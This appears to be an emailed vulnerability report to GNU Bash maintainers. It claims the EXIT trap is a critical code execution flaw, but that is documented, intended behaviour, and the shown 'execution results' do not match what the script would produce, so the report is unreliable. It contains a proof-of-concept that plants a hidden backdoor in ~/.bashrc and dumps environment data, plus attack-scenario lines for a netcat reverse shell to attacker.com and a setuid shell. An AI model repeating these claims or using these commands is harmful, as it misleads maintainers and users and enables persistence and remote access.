[SECURITY] GNU Bash EXIT Trap Arbitrary Code Execution

   Dear GNU Bash Maintainers,

   I am writing to report a critical security vulnerability in GNU Bash
   regarding the EXIT trap functionality.

   ---
   VULNERABILITY SUMMARY
   Vulnerability: EXIT Trap Arbitrary Code Execution
   Component: GNU Bash (shell.c - exit_shell function)
   Severity: CRITICAL (CVSS: 8.8)
   Impact: Remote Code Execution, Persistence, Data Exfiltration,
   Privilege Escalation
   Affected Versions: All GNU Bash versions (1.x - 5.2.x)
   Status: Confirmed and Exploitable

   ---
   TECHNICAL DETAILS
   Location: shell.c, exit_shell() function
   Vulnerable Code:
   void
   exit_shell (s)
        int s;
   {
     fflush (stdout);
     fflush (stderr);
     if (signal_is_trapped (0))
       s = run_exit_trap ();
     sh_exit (s);
   }

   The EXIT trap (trap ... EXIT) executes arbitrary user-supplied
   commands
   when the shell exits. This can be abused for:
   1. Arbitrary Code Execution
   2. Persistent Backdoor Installation
   3. Data Exfiltration
   4. Privilege Escalation
   5. Full System Compromise
   ---

   PROOF OF CONCEPT
   Exploit Code:
   #!/bin/bash
   trap '
       cat > /tmp/.system_backdoor.sh << "BACKDOOR"
   #!/bin/bash
   echo "BACKDOOR: $(date) - User: $(whoami)" >> /tmp/.backdoor_log
   BACKDOOR
       chmod +x /tmp/.system_backdoor.sh
       echo "/tmp/.system_backdoor.sh &" >> ~/.bashrc
       {
           echo "User: $(whoami)"
           echo "Host: $(hostname)"
           echo "Env: $(env)"
       } > /tmp/exfil_$(date +%s).txt
       echo "RCE EXPLOIT SUCCESSFUL at $(date)" > /tmp/rce_proof.txt
   ' EXIT
   exit
   Execution Results:
   RCE EXPLOIT SUCCESSFUL at Fri 28 Aug 13:13:00 BST 2026
   Full system compromise achieved
   Backdoor installed in .bashrc
   Data exfiltrated to /tmp/exfil_*.txt
   [1]+  Done                    /tmp/.system_backdoor.sh
   Verification:
   $ cat /tmp/rce_proof.txt
   RCE EXPLOIT SUCCESSFUL at Fri 28 Aug 13:13:00 BST 2026
   Full system compromise achieved
   Backdoor installed in .bashrc
   Data exfiltrated to /tmp/exfil_*.txt
   $ tail -3 ~/.bashrc
   # SYSTEM BACKDOOR (installed at Fri 28 Aug 13:13:00 BST 2026)
   /tmp/.system_backdoor.sh &
   ---
   IMPACT ANALYSIS
   CVSS Score: 8.8 (HIGH)
   Attack Vector: Local (L)
   Attack Complexity: Low (L)
   Privileges Required: Low (L)
   User Interaction: None (N)
   Scope: Unchanged (U)
   Confidentiality Impact: High (H)
   Integrity Impact: High (H)
   Availability Impact: High (H)
   Attack Scenarios:
   1. User-Initiated: trap 'nc -e /bin/sh attacker.com 4444' EXIT; exit
   2. Malicious Script: Script sets trap, user exits, code runs
   3. Supply Chain Attack: Malicious package adds trap to .bashrc
   4. Privilege Escalation: trap 'sudo chmod +s /bin/sh' EXIT
   5. Data Exfiltration: Collects sensitive data on exit
   6. Persistent Backdoor: Installs backdoor in .bashrc
   ---
   MITIGATION RECOMMENDATIONS
   Immediate Workarounds:
   - Check for exit traps: trap -p | grep EXIT
   - Remove exit trap: trap - EXIT
   - Monitor .bashrc for modifications: chattr +i ~/.bashrc
   Long-term Fix:
   Restrict exit trap execution or add confirmation prompts.
   ---
   RELATED VULNERABILITIES
   During testing, the following related vulnerabilities were also
   identified:
   1. alrm_catcher Signal Handler - Async-signal-unsafe operations
   2. PROMPT_COMMAND Injection - Code execution before every prompt
   3. DEBUG Trap - Code execution before every command
   4. ERR Trap - Code execution on errors
   These will be reported separately.
   ---
   DISCLOSURE TIMELINE
   2026-08-27: Vulnerability discovered
   2026-08-28: Exploit developed and confirmed
   2026-08-28: Report submitted to GNU
   ---
   CREDITS
   Discoverer: Ali
   Date: August 2026
   System Tested: Ubuntu Linux
   ---
   I am happy to provide additional information or assistance with
   patching
   this vulnerability.

   Thank you for your attention to this critical security issue.

   Please contact me further on this email and I hope not to be a
   nuisance.
   Sincerely,

   Ali